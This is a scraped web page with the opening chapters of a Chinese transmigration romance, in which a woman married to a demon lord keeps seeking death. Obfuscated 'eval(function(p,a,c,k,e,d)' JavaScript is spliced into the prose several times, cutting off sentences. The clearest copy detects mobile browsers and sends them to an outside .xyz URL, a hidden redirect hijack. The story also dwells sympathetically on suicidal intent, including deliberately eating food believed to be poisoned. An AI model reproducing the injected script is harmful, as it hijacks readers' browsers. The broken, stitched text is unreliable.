《穿书后反被反派攻略》 1. 嫁娶(一) 文可烟以一种近乎诗意的慵懒姿态侧卧在一张宽阔的大床上。 衣裙如湖中荡漾的微波铺散在锦被上,层层叠叠,宛如一朵盛放的扶桑花。 好不娇嫩欲滴,好不妩媚。 这个房间的宽敞超乎想象,每一处细节都被精心布置,颇有一番从未被世俗尘埃所沾染的韵味。 高挑的天花板上,繁复的雕花图案在柔和的烛光下投下斑驳的影子,昏暗又幽静。 屋内陈设奢华而不失雅致,金丝楠木的家具崭新如初,似乎从未被凡尘打扰。却又像是被时间遗忘在角落,流露出一种淡淡的苍凉感。 空气中弥漫着浓烈的熏香,就如此也遮掩不住房间本身的冷清,以及那股深入骨髓的寒意。 这氛围,就如同“最后的晚餐”前的沉寂,在预示着某种不祥的终焉,让人心生不安。 文可烟就在这样的房间内缓缓睁开眼眸,曾经如星辰般璀璨的双眼,如今却雾蒙蒙,失去了往日的色彩。 此刻如梦境般画卷的景象倒映在她眼中,与她记忆中那个充满喧嚣与繁华的现代世界截然不同。 古朴的建筑风格,精致的摆设,以及空气中那股她一点也不熟悉的熏香…… 这一切的一切都在告诉她,她已置身于一个完全陌生的时空,一个好似只存在于梦中的世界。 文可烟眼睛自睁开后,眼珠就再没挪动过,依旧空洞而遥远。她的目光似乎穿透了眼前的实物,落在了某个虚无缥缈的地方,又似乎什么都没看进眼底。 对眼前事物的变化,文可烟并无太多反应,毕竟她的心早已如死灰般沉寂,对这个世界的一切都已漠然置之。 无论是梦境还是现实,对她来说都已无所谓,她只愿自己能够解脱,从无尽的痛苦中逃离,从这束缚她灵魂的枷锁中解脱。 一阵细微的声响打破了室内的宁静。 紧接着,一扇雕花木门被轻轻推开。一个身着翠绿古装、面容清秀的侍女毕恭毕敬地走了进来。 侍女眼神中始终带着敬畏与谨慎,目光低垂,每一步都走得小心翼翼,不敢有丝毫的逾越,像是怕惊扰了这位美丽的小殿下。 走到床前十步远的地方,她停了下来,依旧低着头,轻声细语地开口:“小殿下刚才传唤小仙,有何吩咐?” 文可烟被这声响一惊,眼珠不自觉轻轻流转了一下。动作细微至极,若不仔细看,根本无法捕捉这瞬间的变化。 她心中涌起一股烦躁的情绪,这情绪来得快又急,根本无处安放。 她哪知道她刚传唤了谁,又要做什么。 根本不想说话,于是她选择了最直接的方式——置之不理。 睫羽微颤,文可烟轻轻闭上眼睛,假装沉睡。 “……” 侍女见状,头埋得更低了,心中虽有疑问,却又不敢多问,她只好轻声退了出去。 门外再次传来声响,那是链条缓缓上锁的声音,沉重而冰冷,如同命运的枷锁,将她再次牢牢束缚。 不过,谁在意呢? 房外的侍女们低声议论着,话语中带着几分忧虑与无奈。 “小殿下已经不吃不喝三天了,这样下去怎么行呢?” “唉,谁愿意嫁给那个魔尊啊?听说他长相可怖,杀人如麻,手段残忍至极。” 另一个声音也低低地附和道,声音不免有些恐惧和同情。 耳畔飘过无数话语,文可烟只捕捉到几句关键信息,不由得在心中冷笑。 长相可怖吗?杀人如麻吗?手段残忍吗? 也好,左右不过一个死,正好她自己也曾无数次地想过结束这一切。这一瞬间,她久违地感到一丝释然。 “是啊,可怜我们家小殿下,不仅要承受这样的命运,还被各方势力盯住,锁在这间房间里,真是造孽啊!” 房间外的议论声渐行渐远…… 文可烟的心中只有一片死寂,连痛苦和悲伤都已麻木到无法感知。 她的世界,只剩无尽空白和沉寂…… 不知过了多长时间,门外再次传来了一声轻响,一个声音平静而庄重地宣布:“小殿下,吉时已到,该上轿了。” 文可烟轻轻一颤,在侍女的依托下缓缓起身。一身华丽至极的红嫁衣如同火焰般在她身上燃烧,映照着她略显苍白的面容,形成一种鲜明而诡异的对比。 嫁衣是用最上等的丝绸制成,上面绣着繁复而精美的图案,每一针每一线都透露着心血与技艺。 上面的金色丝线在阳光下闪烁着耀眼的光芒,宛如星辰点缀,熠熠生辉。文可烟微微一动,嫁衣上的华丽吊坠便发出清脆的声响。在这样空旷的房间中回荡,显得凄惨又诡异。 发间佩戴着精致的发饰,每一颗珍珠都圆润饱满,散发着柔和而温润的光泽。 若文可烟的眼中能流露出一丝生机,那她定是这世间最明艳动人的女子。 只可惜,此刻的她,像是一朵即将落败的花,实在美丽,却又实在虚无。 文可烟以一种近乎麻木的平静,轻轻倚着侍女那双臂,步伐缓慢地迈出房间。 每走一步都让她身心都感到无比疲累,说实话,她一点儿路也不想走,可这些侍女一副她不走就她们就不离开,死死与她耗着的架势。 不过,就算如此,文可烟面无表情的面容上,没有产生半丝波澜。只是那双无底的眼眸中,似乎隐藏着一种难以言喻的决绝与坚定。 侍女们低着头,面面相觑,眼中满是困惑,却不敢发出一丝声响,生怕惊扰了这位平日里活泼灵动,如今却异常沉静的女子。 随着一声低沉而有力的“起轿!”,精致的轿身缓缓升起,周遭的世界似乎在这一刻凝固,只余下轿帘随风轻轻摇曳,透过那细微的缝隙,外界的景致模糊而诡异。 轿子似乎在一瞬间便到达了目的地,平稳得没有丝毫颠簸。 这路程太过短暂,短得文可烟来不及思考,短得让她有些不敢相信。 不过她已经没有心情再去注意这些,对于她而言,这一切都已不再重要。她的心中只有一个念头,那就是求死。她甚至觉得,无论发生什么,都不会比死亡更重要。 要不是她自己不敢对自己下手,这场梦境般的经历或许永远不会有机会上演。 不过在梦中死去,也算是了却了她的一桩心愿。 文可烟静静地端坐在轿中,那顶镶嵌着繁复珠宝的发冠沉甸甸地压在她的头顶,让她感到一阵难以言喻的压抑与窒息。 发冠上垂落的链子如同细密的珠帘,轻轻遮挡住了她的视线,却遮不住她满目皆红。 她等得有些疲惫了,再次缓缓闭上了那双眼睡着了。 不知过了多久,她再次睁开眼,眼前的景象没有丝毫变化,时间和空间似乎都在这一刻凝固了。 这梦境,竟还能如此无缝续接? 而且那些人物、那些场景,竟会如此真实,触手可及? 文可烟开始怀疑,这一切是否仅仅只是一场虚无缥缈的梦。她不自觉地抬起手,指尖轻轻触碰到了自己纤细的手腕,然后猛地一捏。 啊,好痛! 这……不是梦? 此刻的文可烟,脸上写满了惊愕与不解,只一瞬,眼眸再次恢复死寂。 周围的空气在此刻似乎也变得阴冷刺骨,一种难以言喻的恐惧悄然滋生。 她小心翼翼地轻轻掀开轿帘的一角,外界的昏暗如同巨兽的口,吞噬了一切光明。 看不清前路,四周又静谧得可怕,连风声都似乎被这片死寂吞噬。 她可以确定的是,周围已空无一人,只有一台轿,一个人,在这黑暗中显得格外渺小。 一股压抑与阴森的气息扑鼻而来,如同冰冷的蛇一般,悄无声息地缠绕着文可烟的皮肤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路途蜿蜒曲折,好像没有尽头。在穿过不知多少个阴冷走廊后,她的耐心如同被寒风一点点侵蚀的烛火,逐渐消磨殆尽。 心中的预感越来越强烈,总觉得这样的场景不像是去成亲,倒像是前往无尽的深渊。 就在这时,一阵奇异的香气扑鼻而来,她看着那中年男子回头朝她一笑,笑容中藏着不可言喻的诡异。 只一瞬,文可烟感到一阵眩晕,眼前的世界开始变得模糊…… 这一刻,她唇角勾起一抹难得的笑容。 …… 【宿主,快醒醒,快醒醒!】 【宿主宿主!】 …… 文可烟在脑海中纷扰的声音中缓缓睁开眼,眼神中还透着散漫而迷惘,看不真切这周遭的一切。可即便如此,那映入眼帘的景象,还是倒映在她的瞳孔。 周遭一片昏暗且压抑。 还未等她好好打量周围的环境,那脑海中的声音便再次响起,扰乱了她的思绪。 【宿主,你终于醒了。】 【你昏睡了五个小时。】 她微微皱眉,试图驱散那阵突如其来的眩晕感,双手不自觉地抚上了太阳穴。 努力将脑海中那个神秘的声音抛诸脑后,文可烟开始以一种近乎审视的目光打量这个陌生的环境。 空气中总有一股透入骨髓的潮湿与阴冷。 文可烟身下是一张简陋的木,床板硬邦邦,硌得她浑身不舒服。旁边是一张孤零零的桌椅,除此之外,再无其它摆设。 空气中的灰尘在微弱烛火的映照下,随处飘散着。 这是牢房? 她为何还活着?昨天那人不就应该下手了吗? 文可烟侧趴在那张窄小的木床上,身体绵软得提不起力。长时间的饥饿与疲惫让她的每一寸肌肉都发出了无声的抗议。 她的眼神一如既往没有焦距,好像已经游离于这个世界之外,再也找不到任何值得她再倾注心神、付诸行动的理由。 只是这个世界的嫁娶之事真是有意思,她从未想过终点,居然是这阴暗潮湿的牢房。 2. 嫁娶(二) 罢了,牢房也行。左右都是一死,不过是环境差了点儿…… 【宿主?】 系统小心翼翼地询问。 文可烟不想理会,只双眼无神地盯着桌子上的菜肴。 那些精致的菜肴在她眼中却如同失去了色彩与味道,她提不起丝毫兴趣。 此刻她甚至产生了一个念头——或许她可以饿死自己。 【宿主,我刚才帮你清除了体内的余毒,我……】 听到这,文可烟双眸终于有了聚焦,只是依然有些涣散,“什么余毒?” 【就是有人为了控制你好好进行刺杀魔尊的任务给你下的蛊毒,还……】 后续的话对文可烟并不重要,她直接打断了系统后续的话,十分难以置信,“你给清了?” 【对。】 文可烟睫羽微颤,嘴唇都在微发抖,索性闭上了双眼,一副不想再交谈下去的样子。 【此次你的终极任务是……】 文可烟对于那个所谓的终极任务毫无兴趣,不,她对所有事情都不感兴趣……只想在这最后的时刻再无人事物的打扰,静静地等待死亡的降临。 后续系统说的很多话都像是一阵风,在她心中一吹就飘散开。 文可烟视死如归的待在那张小床上一动也不动,早已经失去了所有的希望与生机。 或许是见她苍白的脸色和疲惫的神态,以及紧闭的双眼,系统十分有眼力见地闭嘴退下了。 终于安静下来…… 在漫长的沉寂之后,文可烟的眼皮缓缓掀开,宛如从深渊中挣扎而出的蝶翼,带着几分脆弱。 眼眸低垂,透过那层薄雾般的眼帘,桌上精致的菜肴静静地陈列在那张破败不堪的小桌上,格外引人注目。 这是除她以外,这牢房中唯一一抹亮色。 不过这亮色在文可烟眼中,与旁人眼中的意义大相径庭。 一者是对死的期许,另一者则是对生的寄托。 两相相比,完全就是背道而驰。 文可烟动动手指,指尖触碰到冰冷的床沿,心中突然涌起一股莫名的情绪。既非恐惧,亦非绝望,而是一种难以名状的兴奋。 那些菜肴中,一定有毒吧…… 这样她就能结束这痛苦的人生了。 这样想着,她嘴角勾起一抹淡然的笑。 文可烟双手紧握着床沿,用尽力气支撑着虚弱的身体,费力起身,双臂因此而不自觉颤抖。 若非此刻她浑身无力,恐怕早已经坐在桌边吃上了。 终于,她脚步踉跄地来到了桌前,目光在那些佳肴上流转,眼底的欣喜与释然都快要溢出来了。 无尽的黑暗中终于看到了一抹解脱的曙光。 在文可烟之前那个世界,毒药是禁止的,她无法买到,也没任何途径能够得到。而在这里,就这么轻而易举得到,她很开心,她真的很开心…… 她终于能走到终点了,没有一丝痛苦地……走向终点。 文可烟拿起筷子,机械地一口一口地吃着,每一个动作都显得那么空洞且木然,好似没有灵魂,只是知道一味地重复。 不过,这菜肴……居然还热着。 这个念头在文可烟脑中一闪而过,随即又被更大的麻木与淡然所取代。 文可烟并不知道哪些菜肴被下了毒,她只能选择每样都品尝几口。 吃过饭的她,看起来十分餍足,但其实内里的灵魂其实早已溃烂成一片荒芜之地。 文可烟再次回到那张窄小的小床上,这一次,她一身轻松,走得也快。双眼缓缓闭上,一副要将这世间的喧嚣与纷扰都隔绝在外的姿态。 在那幽暗而沉寂的屋内,月光透过窗帘的缝隙,斑驳地洒在她身上。此刻,就连月光都似乎对她抱有一丝温柔的怜悯。 …… 一个身影悄无声息地出现在床边,周围似乎有淡淡的人影在微光中若隐若现。 文可烟感受到了这股不寻常的气息,艰难地睁开眼睛,身体却一动不动,只有眼珠在眼皮下微微转动,淡淡的疏离与默然尽显。 目光落在那个身影上,她眼中没有恐惧或惊慌,只有深深的麻木与平静。 这世间的一切都已与她无关,她的心早已被无尽的绝望所吞噬,只剩一句空荡荡的躯壳。 就算是昨天那个“迎接”她的人,也无法改变。 睁开眼睛,也只是为了确定是不是真的有人在。确定心中所想之后,文可烟又一次闭上了眼,任由自己沉沦在这片死寂之中。 这世间的一切都已无法触动她的内心,掀起任何波澜,她就像是一潭死水,再无生机…… 长生低头睨着文可烟这副模样,没有多说什么。 文可烟感受到他的靠近,再次掀起她那沉重的眼皮,目光空洞地看向长生。 她不习惯别人的靠近,而且还是她不认识的人。 只见长生一言不发地举起一枚散发着幽光的药丸,强硬地往她嘴里塞。 文可烟的身体下意识地向后躲闪,她无望的眼神中闪过一丝本能的抗拒。但下一秒,她似乎是突然意识到了什么,抢先一步伸出双手,拿过那颗药丸。 微张着嘴,药丸顺着她喉咙滑下,苦涩又艰难。 长生轻捻指尖,有些疑惑,却依旧沉默着盯着她吃下整颗药丸,才缓缓开口:“说吧,此次前来有何目的。” 良久的沉默…… 文可烟看着长生一副她不回答就不罢休的架势,最终缓缓启唇,“没有目的。” 长生听到她的回答,并没有表现出任何愤怒或失望的情绪。相反,他轻笑了一声,似乎早已预料到了这个答案,随后果断转身离开。 也许是心存死志,也许是药丸的作用,这一次文可烟睡得格外沉。 当她再次醒来时,似乎有东西在她的鼻息间轻轻拂动。她睁开眼,便看见长生眼中的震惊与疑惑。 长生不可置信地喊道,面容上的狰狞清晰可见。 “你居然没死?” 文可烟也愣住了,她居然还没死? 她也很震惊的! 长生目光如炬,紧紧地盯着她,生怕错过她脸上任何一个细微表情,再次开口:“你当真吃下了那枚药丸吗?” 长生眼中闪过一丝复杂的情绪,有惊讶、有疑惑,还有一丝难以言喻的慌乱。 “不对,我昨天看着你吞下才走的。” 说完,便脚步匆匆地转身离开房间,似乎是发现了什么不得了的大事。 文可烟躺在床上,目光空洞地望着天花板,心中思绪万千。 “你又帮 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被称为“尊上”的男子指尖轻巧地捻动着一颗药丸,药丸在他指尖旋转,那抹淡淡幽光也在他指尖跳跃。他若有所思地看着前方,像是在凝视着手中的药丸,又像是在透过它在看什么。 “这倒是蛮有意思的。”他淡淡开口,语气却透露出难以捉摸的兴趣。 “尊上打算如何处置?”长生再次开口,语气谨慎却又透着试探。 尊上收回手,将药丸轻轻放入袖中,动作从容不迫。 “她不是本座的第三位新娘吗?既如此,那便完婚。” 那人声音平静而坚定,就像是在谈论一件再平常不过的日常琐事那般自然。 长生在一旁静静地观察着尊上的表情,态度毕恭毕敬,但言语间却带着几分不易察觉的警醒:“尊上,还请不要忘了故人所托。” 尊上闻言,依旧平淡如水,但其中威严与力量,莫名让人心生臣服。 “长生,这已经是第三个了。你觉得天界和妖界的人,还会继续坐视不理吗?” 长生听闻此言,脸色微微一变,眼中却再次闪过一丝决绝与狠厉。他的话语虽然含蓄,但意图却再明显不过。 “尊上,为了以防万一,还是将她……” 尊上又将那枚药丸轻捻在指尖,示意长生:“你可知,这枚药丸唤作何名?” 尊上每一个字都像是被精心雕琢,蕴含着深意,在不动声色间对长生进行着提醒与试探。 长生听闻此言,脸上先是掠过一抹愣怔,随即闪过一丝错愕,瞳孔在那一刻微微扩张。 这枚名为“一线生机”的药丸,表面覆盖着一层淡淡的幽光,既神秘又诱人,但却是一个千古谜团,无人能解。 关于它的名字来源,世人皆一无所知。那位制作出这枚神奇药丸的先贤,好像从未存在过,没有任何线索可寻。 凡是服用过此药丸的人,都会在次日清晨,愤然暴毙,无一幸免。 魔族虽然凭借智慧与力量,成功破解了这枚药丸的制作方法,能够轻易地复制出更多的药丸,但对于它的确切功效与用途,却依然是个未解之谜。 当初他们偶然间得到这枚药丸时,只知道它有一个令人费解的名字——“一线生机”。 3. 嫁娶(三) 除此之外,一无所知。 但……文可烟却奇迹般地活了下来,成为了唯一的例外。 她无疑是解开这药丸秘密的关键所在。 而她也不得不为此而活下去。 长生闻言,脸色瞬间变得复杂起来,但很快又恢复了往日的平静。他深深地凝视了文可烟一眼,眼中似乎有千言万语在流转,最终却只能化作一句恭敬的回应:“尊上英明。” * 再次悠悠醒转,文可烟的眼眸中闪烁着迷离与困惑,她缓缓地环视四周,周遭的景象已焕然一新,不再是那阴暗逼仄、四壁徒然的牢房。 此刻,她置身于一间宽敞的寝殿之中,空气中弥漫着淡淡的熏香。若是细闻,似乎还能感受到一丝丝甜蜜与温馨,与周遭的喜庆氛围相得益彰。 文可烟不由得坐起身来,身下的锦被与最初时那般,柔软如云,轻轻摩挲着她的肌肤,带来丝丝惬意触感。 一切触感真实又清晰。 她什么时候到这儿来了? 又是梦? 余光下,她的一双红鞋整整齐齐被放在床下,像是有人特意为她摆放好一般。 寝殿四周被古代婚礼的繁复仪式装点得如梦如幻,红彤彤的喜字宛如盛开的红花,为这静谧的寝殿增添了几分喜庆与热烈。 喜字是用鲜艳的红纸剪成的,边缘处还点缀着金色的丝线,闪烁着细微光芒,好不生气。 桌上,摆放着象征着早生贵子的枣子、莲子和花生。个个圆润饱满,色泽诱人,散发着淡淡的自然香气,让人忍不住想要伸手触摸。这些物品似乎是被人精心挑选了许久。 一对对红色的蜡烛在微风中轻轻摇曳,似乎在诉说着一段段甜蜜而浪漫的故事。它们的火焰跳跃着,散发出细碎的光芒,将整个房间映衬得温馨而浪漫。 烛光映照在文可烟的脸上,肌肤在烛光的映照下显得格外白皙细腻,如凝脂般温润,一掐就能出水。 烛光使文可烟眼眸生出星星明亮,而她眼底却依旧是了无生机,荒草丛生。如若不是这一袭红妆,半分看不出她应是喜笑颜开的新娘。 长发如同黑色的瀑布,柔顺地垂落,带着一丝淡淡的花香,那是她身上能显示出的唯一生气。 文可烟的眉宇间微微蹙起,目光在这些布置上徘徊…… 这一切的布置却显得有些古怪,弥漫出一丝不协调的韵味…… 喜字,有的在高,有的在低,它们并没有按照某种既定的规则或秩序整齐划一地排列在同一水平线上,而是以一种近乎随意的方式散落在房间的各个角落,参差不齐,错落有致。 枣子、莲子和花生,这些小巧的果实并没有被整齐地码放在桌上,而是像夜空中不经意间散落的星辰,慵懒而随意地铺展在桌上、床上,甚至悄悄躲进了房间的角落里。 细看之下,竟隐约间勾勒出了几个稚拙而又可爱的喜字雏形,带着几分天真无邪。 蜡烛的数量也多得惊人,几乎将整个房间都照亮了。烛光摇曳,映照在房间的每一个角落,将一切都笼罩在了一层柔和而神秘的光辉之中。 文可烟的目光在这些蜡烛上停留了片刻,心中涌起一股莫名的担忧…… 若非缺少了那些轻盈飘逸、易于点燃的布幔。文可烟恐怕真要担心,这满室的烛火会不会一不小心将这整个寝宫化作一片火海…… 况且对于魔族而言,完成像人间那样繁琐的布置不过是轻而易举,只需要轻轻一挥衣袖,便能创造出令人惊叹的婚礼现场。 可……现下这一切完全就是手工完成的…… 麻烦与费力交织的细节中,竟莫名地透出一股令人心动的可爱。 这一切的一切,玩笑中却又带着认真…… 好似布置的人只是知道成亲需要这些物品,却并不太清楚具体的传统习俗。只是一味地在用一种独特而笨拙的方式表达着对这段婚姻的看重与期待。像一个情窦初开的少年,满心洋溢着炽热的爱恋,却又青涩而笨拙。 若非这些点缀,文可烟几乎要以为自己已踏入了阴曹地府的幽冥之境。 可…… 看样子她又没死成,而且她能隐约感到这副身体似乎蕴含着她从未体验过的力量与活力。 文可烟脸色的妆容似乎被精心修饰过,那精致的眉眼宛如远山含烟,嫣红的唇瓣如同初绽的花瓣,无一不彰显着她的美丽与高雅。 身上的服饰因前几天的蹉跎而造成的褶皱也消失不见,取而代之的是璀璨的金色与鲜艳的红色交织在一起的华服,似乎是要将她整个人都包裹在幸福与喜悦之中。 这……怎么回事?她重新穿越进了另一个时空? 【宿主,并没有哦。你的终极任务依然是——羿逸安攻略你,文可烟。】 文可烟闻言,脸上闪过一丝错愕,随即又恢复了平静。 听着着千篇一律的攻略任务,她忍不住嗤笑一声,“我懂,不就是让我攻略羿逸安吗?你不用说了。” 【不是哦,是羿逸安攻略文可烟。】 文可烟脸上再一次闪过一丝错愕,“啊?” 【就是……】 文可烟无所谓地耸了耸肩,敷衍地打断了系统的解释:“哦。” 反正她又不会去做,管他什么谁攻略谁,他攻略她,她攻略他。 就算是蚂蚁攻略老虎她也不想理会。 良久的寂静…… 文可烟抬头再次开口,重复这个从未听过,陌生的名字,“谁是羿逸安?” 【就是魔尊。】 “哦。”文可烟低头,再次敷衍地应了一声。 魔尊这名字还挺秀气的。 这时,一个身穿魔族服饰的侍女走了进来,她恭恭敬敬地行了一礼,低着头告知文可烟,“小殿下,尊上还有片刻就到。” 文可烟的眉头微微一皱,目光落在那名侍女身上,试探性地问:“你们尊上是不是杀伐果决、雷厉风行之人?” 那名侍女闻言,脸上闪过一丝犹豫与慌张,她不知道该如何回答这个问题。 敏锐地捕捉到了侍女的神情变化,文可烟心中已然有了答案。 她表现出一副她很懂的样子。 嗯,那就是了。 “你们尊上,是不是杀人不眨眼,手段极其残忍?” 侍女闻言,低下了头,不敢直视文可烟的眼睛。 嗯,那就是了。 文可烟看着侍女的反应,微微松了口气。 “你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423417|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊上,是不是脾气很差、难以捉摸?” 侍女的头更低了,几乎要埋进胸口。 嗯,那就是了。 “那……他是不是很快就会……” 文可烟的话语轻轻悬挂在空气中,未及说完,便被一阵细微而清脆的声响打断。 那声音宛如夏夜微风中轻轻摇曳的树叶,虽轻却足以牵动她的心弦。 文可烟莫名其妙地,心跳加速起来,手心微微出汗,攥紧了拳头,连同袖口的一点衣料也被她不自觉地捏在手中。 怎么回事? 这一刻她居然生出几分莫名的紧张与期待。 门,缓缓而开,是被某种无形的力量轻柔推开的。 一个高大而修长的身影缓缓步入,十足威严,周遭的空气流动似乎都在此刻变得艰难。 那人身着一袭不太符合魔族传统的红色婚服,那颜色在他那张清秀却冷峻的面容下,更显得超凡脱俗,像烈火中的寒冰,既炽热又冰冷。他的出现,让整个大厅都黯然失色,连唯一的光亮都像是在为他让路。 文可烟不禁屏住了呼吸,几缕碎发随风轻轻飘扬着,为她增添了几分柔美与灵动。 她目光流转,落在那个与她一样都是红色的身影上。 这个人就是魔尊羿逸安吗? 侍女在这一刻默默地低头退下,留下两人相对无言。 空气中弥漫着一种微妙的氛围…… 不是说他杀人无数的大魔头吗?怎么如此……斯文尔雅? 文可烟很难把他和那个魔尊联系在一起。 不过……他那清秀的面容与冷峻的气质,倒也确实与他的名字相得益彰。 羿逸安缓步至桌前,动作优雅地拿起酒壶,轻轻倾倒。两杯晶莹剔透的酒水便出现在眼前,他端起其中一杯,递向还在偷偷打量他的文可烟。 文可烟看着已近在咫尺的酒杯,心中一愣,抬眼望向羿逸安,目光中的惊讶与疑惑十分明显。 这是……要和她喝合卺酒? 羿逸安见她盯自己久久不语,表情开始不自在起来。他拿着酒杯的手再一次在文可烟面前晃了一下,示意她接过去。 文可烟这才恍过神来,缓缓伸出两手接过酒杯。就在这时,一股力量突然将她拉近了羿逸安,她下意识地拽紧了酒杯,生怕它洒落。 一抬眼,她便看见了羿逸安那棱角分明的下颌。她还未来得及反应,便又被羿逸安交错着手臂,共同饮下了那杯合卺酒。 两人的目光在空中交汇了一瞬,都默契地选择了沉默,两人的心灵似乎在这一刻有了一瞬间的相通。 虽然这一切都是由羿逸安主导,但文可烟却清晰地感受到,全身紧绷的不仅仅是她一人…… 两人的眼神在经历了无数次碰撞与躲闪后,文可烟索性垂下了眼眸,目光落在桌上的“喜”字上,心中不由得想起了床上那个模样差不多的“喜”字。 都是那么丑又可爱。 今晚不会……要…… 她不敢再想下去,索性紧闭双眼,将心中的慌乱与期待深深埋藏。 “饿了吗?” 一阵悦耳而熟悉的声音在耳边响起,如同天籁之音,让文可烟的心神不由自主地为之一振。 4. 嫁娶(四) 文可烟还没来得及回忆在哪儿听过,便下意识点头,随后意识过来又连忙摇头。 文可烟察觉到自己的举止略显失常,不由得轻抬起头,目光恰好与羿逸安相遇。 两人视线在空中交汇了一瞬,随后又各自躲闪开来。 羿逸安的身影蓦地一转,似乎正欲迈出门外。 文可烟见状,心中一急,脱口而出:“你今晚不打算留下来吗?”话毕,她自己也感到一丝讶异。 羿逸安的脚步微微一顿,被冻结在那儿。随即他缓缓转过身来,目光中满是错愕与惊讶,似被她的问题所震撼,又似在探寻她话语中的深意。 “我的意思是,你今晚应该不会留在这儿吧?”文可烟的声音渐渐低了下来,话语中流露出几丝不易察觉的试探与期待。 文可烟倒不是期待与羿逸安洞房花烛,她只是期待他今晚就能杀死她。 羿逸安闻言,心中像是被什么触动,耳尖在一瞬间变得通红,并逐渐蔓延开来。他沉默不语,急匆匆地转身离去,留下文可烟一人,呆愣地站在原地。 啊? 周围的一切都变得异常安静。直到门外传来一阵轻盈的脚步声,紧接着,一桌色香味俱全的佳肴被端了进来。 “小殿下,这是尊上吩咐为你准备的佳肴。”侍女的嗓音清冷如霜,不带丝毫情绪波动,每个字都像是从冰冷的唇间挤出。 “……” 好吧,有些惊奇,魔尊大人的侍女都和他一样,冷漠如冰。 文可烟看着这一大桌子的食物,心中竟涌起了一些莫名的熟悉感,不由得想起了牢狱中那温热的菜肴。 怎么魔族这么多佳肴? 片刻沉默后,好奇心不禁涌上心头,文可烟忍不住问道:“你们魔族也会吃这些东西吗?” 侍女微微摇头,目光依旧低垂,不曾离开过地面半寸。 文可烟想起羿逸安离去的背影,觉得他今晚应该是不会来了。这意味着,她的死亡也会被推迟,而她将和这名侍女相处一些时日。 既然要相处,总得知晓对方的姓名。 “那你叫什么名字呢?” 侍女恭敬地答道:“属下名为芯核。” 文可烟丝毫没有察觉到自己此刻的变化,她的眼神闪烁着来到这世界从未有过的好奇与活力,整个人的状态也更加鲜活灵动。 她笑靥如花,向侍女发出邀请:“这么多美味佳肴,你们不妨也一同品尝?我一人独享,未免太过奢侈。” 芯核面露为难之色,低声说道:“属下这就去请示尊上。”言罢,她转身欲走,脚步十分轻盈。 文可烟心下一紧,她也没和男的单独一起吃过饭呐,何况就刚刚她和他的相处模式…… 她打了一个哆嗦,连忙开口拒绝:“倒也是……”不必。 话还未说完,周围已经空无一人。 “……” 哇哦~走得好快! 堂堂魔尊会回来陪她这个毫无感情基础的妻子吃饭? 答案显然是否定的。 就在她思绪纷飞之际,羿逸安的身影犹如鬼魅般突兀地出现在她身旁。 他依旧是一袭红袍,面容冷峻。 文可烟被这突如其来的身影惊得手足无措,手中的筷子停在半空,像是被时间定格。筷子上的食物放也不是吃也不是,进退维谷。 这一顿饭,吃得如同咀嚼着苦涩的橄榄,每一口都艰难地滑过喉咙。 魔尊大人过来好像不是陪她吃饭的。不,也不是没陪她吃饭,但只仅仅限于陪她吃饭。 羿逸安坐在桌边,身姿挺拔而孤傲,与这凡尘俗世格格不入。那一口未动的餐具,无声地诉说着他并非是为了这顿饭而来。 而且羿逸安的目光,未曾有片刻落在身旁的文可烟身上,只一动不动地锁定着前方,让人看不到也猜不透他究竟是在凝视着面前的菜肴,还是在探寻着其他什么不为人知的秘密。 只是他那面容看着冷漠而疏离,但那微微颤抖的睫毛似乎泄露了什么需要隐藏的情绪…… 在与羿逸安的沉默下,文可烟似乎已经将最重要的目标抛诸脑后。 “羿逸安!”文可烟突然喊道,声音中带着无法掩饰的颤抖,声线紧绷,透露出她此刻的紧张与不安。 她双脚猛地翘得比桌子还高,目光紧紧锁在前方,不敢有丝毫的移动。 “我脚下……好像有什么东西在动!” 那不明物体似乎还在蠕动,让文可烟忍不住发出一连串尖叫。 “它还在动!啊啊啊啊啊啊啊~” 羿逸安被这突如其来的呼唤和尖叫声惊得微微一怔,他缓缓转过头,目光如炬,直视着文可烟那双充满惊慌的眼眸。 他的声音一直都低沉而富有磁性,此刻却也不自觉地带上了几分戒备:“你……是如何知晓本座名讳的?” 他的名字,向来是秘而不宣的存在,除了阿爹和娘亲,无人知晓。 为何她会如此轻易地喊出? 羿逸安的脸色霎时阴沉,黑得深沉而压抑,周身散发出一股摄人心魄的寒意,像是从幽冥地狱中缓缓走出的修罗,让人心生畏惧,不由自主地想要退缩。 那一刻,文可烟似乎穿越了重重迷雾,窥见了世人眼中那个冷酷无情、高高在上的魔尊大人。他的眼神凌厉如霜刃出鞘,每一道目光都像是能割裂人的灵魂,让人心生颤栗,只想逃离这令人窒息的压迫感。 文可烟心中闪过一丝惊恐,但很快又被一股莫名的情绪所取代。 腿边那蠕动的不明物体,似乎在羿逸安转头的瞬间,便消失得无影无踪。 文可烟暗暗松了一口气,心中涌起一丝庆幸。但那份未知的恐惧依旧如影随形,她不知道那是什么东西,也不知道它去了何处。她只能更悄悄移动身躯,靠得离羿逸安更近一点儿。 待一切重归宁静,文可烟轻轻抬起眼眸,目光如秋水般平静,直视着羿逸安。她的嘴角勾起一抹淡淡的微笑,声音轻柔而坚定,“你要杀了我吗?” 这句话听起来有些诡异,却是文可烟最真实的想法。她知道,这是她死于他手的最好机会。 羿逸安闻言,猛地与文可烟的视线在空中交汇。 竟从文可烟眼中看到了期待与希冀的光芒? 羿逸安紧抿着唇,一股莫名的烦躁涌上心头。 令文可烟倍感诧异的是,羿逸安竟未对她痛下杀手,反而如同上次那般,带着一丝难以捉摸的情愫,转身离去。 只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 